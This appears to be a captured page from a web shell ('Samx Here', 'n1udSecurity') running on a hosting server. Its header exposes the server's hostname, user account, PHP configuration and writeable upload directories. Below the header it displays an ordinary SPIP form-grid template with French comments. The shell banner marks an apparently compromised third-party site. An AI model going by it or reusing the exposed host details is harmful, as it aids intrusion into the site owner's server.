Samx Here
n1udSecurity


Server : Apache
System : Linux webd348.cluster026.gra.hosting.ovh.net 5.15.148-ovh-vps-grsec-zfs-classid #1 SMP Thu Feb 8 09:41:04 UTC 2024 x86_64
User : hednacluml ( 122243)
PHP Version : 8.3.9
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
Directory :  /home/hednacluml/jobs/plugins/auto/saisies/saisies/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/hednacluml/jobs/plugins/auto/saisies/saisies/choix_grille.html
#CACHE{24*3600*31,statique}
[(#REM)
  Parametres :
  - data_cols : tableau de donnees cle=>valeur des colonnes
  - data_rows : tableau de donnees cle=>valeur des lignes
  - defaut : valeur par defaut si pas présente dans l'environnement
  - valeur_forcee : valeur utilisee meme si une valeur est dans l'environnement

  Exemple d'appel :
	[(#SAISIE{choix_grille, criteres,
		label=<:plugin:choisir_criteres:>,
		defaut=#ARRAY{0,cle1,1,cle3}, ??? à corriger
		data_cols=#ARRAY{
			col1,valeur1,
			col2,valeur2,
			col3,valeur3},
		data_rows=#ARRAY{
			row1,valeur1,
			row2,valeur2,
			row3,valeur3}})]
]


[(#REM) Détecter le label de droite s'il y a au moins une barre | dans toutes les définitions ]
#SET{utiliser_label_droite, #VAL{','}|join{#ENV{data_rows}}|strpos{'|'}|is_int}

[(#REM) defaut peut être une chaine (plusieurs valeurs ou pas) qu'on sait décomposer ]
#SET{defaut, #ENV{defaut}|saisies_chaine2tableau}

[(#REM) valeur doit être un tableau ! ]
#SET{valeur, #ENV{valeur_forcee, #ENV{valeur}}|saisies_valeur2tableau}

[(#REM) lorsque qu'on donne un 'disabled' qui est une chaine,
	il faut la transformer en tableau. Ce tableau est vide si la chaine valait ''
	sinon une clé 0 serait considérée disabled à tord
]
#SET{disabled, #ENV{disable}}
[(#GET{disabled}|is_string|oui)
	[(#GET{disabled}|strlen|non) #SET{disabled,#ARRAY} ]
	[(#GET{disabled}|oui) #SET{disabled,#ARRAY|push{#GET{disabled}}} ]
]

<B_lignes>
<div class="choix_grille_wrapper">
<table class="spip choix_grille" role="presentation">
	[<caption>(#ENV{caption})</caption>]
	<B_colonnes_entete>
	<tr>
		<td></td>
		<BOUCLE_colonnes_entete (DATA) {source table, #ENV{data_cols}}>
		<td id="choix_grille_reponse_[(#ENV{id,#ENV{nom}}|saisie_nom2classe)]_[(#CLE)]">#VALEUR</td>
		</BOUCLE_colonnes_entete>
		[(#GET{utiliser_label_droite}|oui)<td></td>]
	</tr>
	</B_colonnes_entete>
	<tbody>
		<BOUCLE_lignes (DATA) {source table, #ENV{data_rows}}>
		<B_colonnes>
		<tr>
			#SET{libelles, #VALEUR|explode{'|'}}
			<td id="choix_grille_question_[(#ENV{id,#ENV{nom}}|saisie_nom2classe)]_[(#CLE)]">[(#GET{libelles}|table_valeur{0})]</td>
			<BOUCLE_colonnes (DATA) {source table, #ENV{data_cols}}>
			<td>
				#SET{type, radio}
				#SET{name, #ENV{nom}\[#_lignes:CLE\]}
				#SET{coche, #CLE|=={#GET{valeur/#_lignes:CLE}}}
				[(#ENV{multiple}|et{#ENV{multiple}|!={non}}|oui)
					#SET{type, checkbox}
					#SET{name, #GET{name}\[\]}
					[(#REM)<!-- le saisies_chaine2tableau permet de s'assurer que la ligne est au bon format si avant l'option multiple n'était pas activé -->]
					#SET{coche, #CLE|in_array{#GET{valeur/#_lignes:CLE}|saisies_chaine2tableau}}
				]
				<input type="#GET{type}"[ (#ENV{disabled}|oui)disabled="disabled"] name="#GET{name}" value="#CLE"[ (#GET{coche}|oui)checked="checked"] aria-labelledby="choix_grille_question_[(#ENV{id,#ENV{nom}}|saisie_nom2classe)]_[(#_lignes:CLE)] choix_grille_reponse_[(#ENV{id,#ENV{nom}}|saisie_nom2classe)]_[(#CLE)]"[ (#HTML5|et{#ENV{obligatoire}}|oui)required="required"][ (#ENV*{attributs})]/>
			</td>
			</BOUCLE_colonnes>
			[(#GET{utiliser_label_droite}|oui)<td>[(#GET{libelles}|table_valeur{1})]</td>]
		</tr>
		</B_colonnes>
		</BOUCLE_lignes>
	</tbody>
</table>
</div>
</B_lignes>

SAMX